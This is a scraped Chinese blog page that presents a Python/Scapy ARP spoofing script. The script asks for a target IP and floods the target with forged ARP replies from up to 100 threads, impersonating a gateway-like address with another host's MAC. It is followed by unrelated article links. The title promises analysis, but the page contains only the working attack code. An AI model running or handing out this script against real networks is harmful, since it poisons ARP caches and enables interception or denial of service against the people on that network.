python发送arp欺骗攻击代码分析


Posted in Python onJanuary 16, 2014
# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,Lock,activeCount
BROADCASTMAC = getmacbyip('192.168.0.120')
class Loop(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip
    def run(self):
        global BROADCASTMAC
        arp = ARP()
        arp.psrc = '192.168.0.251'
        arp.hwsrc = BROADCASTMAC
        arp.pdst = self.ip
        arp.op = 2
        sr1(arp,verbose = 0,retry = 0,timeout = 3)
class Main(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip
    def run(self):
        limit = 100
        total = 0
        while True:
            if activeCount() < limit:
                Loop(self.ip).start()
                total = total + 1
            print '目前已进行了ARP攻击的次数为:'+str(total)
if __name__ == '__main__':
    ip = raw_input('请输入要进行ARP攻击的机器IP:')
    Main(ip = ip).start()
Python 相关文章推荐
使用Python制作获取网站目录的图形化程序
May 04 Python
Python实现识别手写数字大纲
Jan 29 Python
python爱心表白 每天都是浪漫七夕!
Aug 18 Python
Pandas读取并修改excel的示例代码
Feb 17 Python
pyqt 实现为长内容添加滑轮 scrollArea
Jun 19 Python
基于python二叉树的构造和打印例子
Aug 09 Python
用python解压分析jar包实例
Jan 16 Python
Python如何使用PIL Image制作GIF图片
May 16 Python
利用python 读写csv文件
Sep 10 Python
matplotlib bar()实现多组数据并列柱状图通用简便创建方法
Feb 24 Python
Python Django ORM连表正反操作技巧
Jun 13 Python
Python turtle实现贪吃蛇游戏
Jun 18 Python
分析python服务器拒绝服务攻击代码
Jan 16 #Python
python获取豆瓣电影简介代码分享
Jan 16 #Python
linux系统使用python获取cpu信息脚本分享
Jan 15 #Python
linux系统使用python监测系统负载脚本分享
Jan 15 #Python
linux系统使用python获取内存使用信息脚本分享
Jan 15 #Python
linux系统使用python监测网络接口获取网络的输入输出
Jan 15 #Python
linux系统使用python监控apache服务器进程脚本分享
Jan 15 #Python
You might like
php5 and xml示例
2006/11/22 PHP
PHP编写学校网站上新生注册登陆程序的实例分享
2016/03/21 PHP
Yii2创建表单(ActiveForm)方法详解
2016/07/23 PHP
laravel 获取某个查询的查询SQL语句方法
2019/10/12 PHP
jquery photoFrame 图片边框美化显示插件
2010/06/28 Javascript
jQuery .attr()和.removeAttr()方法操作元素属性示例
2013/07/16 Javascript
Javascript 高阶函数使用介绍
2015/06/15 Javascript
基于jquery实现放大镜效果
2015/08/17 Javascript
jQuery模拟360浏览器切屏效果幻灯片(附demo源码下载)
2016/01/29 Javascript
js 创建对象 经典模式全面了解
2016/08/16 Javascript
浅谈jquery设置和获得checkbox选中的问题
2016/08/19 Javascript
AngularJS 单元测试(一)详解
2016/09/21 Javascript
详解vue-router 2.0 常用基础知识点之router-link
2017/05/10 Javascript
详解如何去除vue项目中的#——History模式
2017/10/13 Javascript
Node.js中读取TXT文件内容fs.readFile()用法
2018/10/10 Javascript
Layui实现带查询条件的分页
2019/07/27 Javascript
Vue的data、computed、watch源码浅谈
2020/04/04 Javascript
原生JS实现天气预报
2020/06/16 Javascript
Tensorflow实现AlexNet卷积神经网络及运算时间评测
2018/05/24 Python
Python定义函数功能与用法实例详解
2019/04/08 Python
Python 通过监听端口实现唯一脚本运行方式
2020/05/05 Python
Python爬虫之Selenium鼠标事件的实现
2020/12/04 Python
使用HTML5的File实现base64和图片的互转
2013/08/01 HTML / CSS
PHP面试题及答案一
2012/06/18 面试题
制药工程专业应届生求职信
2013/09/24 职场文书
应届毕业生就业自荐信
2013/10/26 职场文书
出生医学证明样本
2014/01/17 职场文书
幼儿园课题方案
2014/06/09 职场文书
国际商务专业毕业生自我鉴定2014
2014/09/27 职场文书
团委工作总结2015
2015/04/02 职场文书
亮剑精神观后感
2015/06/05 职场文书
高温慰问简报
2015/07/21 职场文书
职工食堂管理制度
2015/08/06 职场文书
小学英语教学经验交流材料
2015/11/02 职场文书
python如何正确使用yield
2021/05/21 Python
Java Optional<Foo>转换成List<Bar>的实例方法
2021/06/20 Java/Android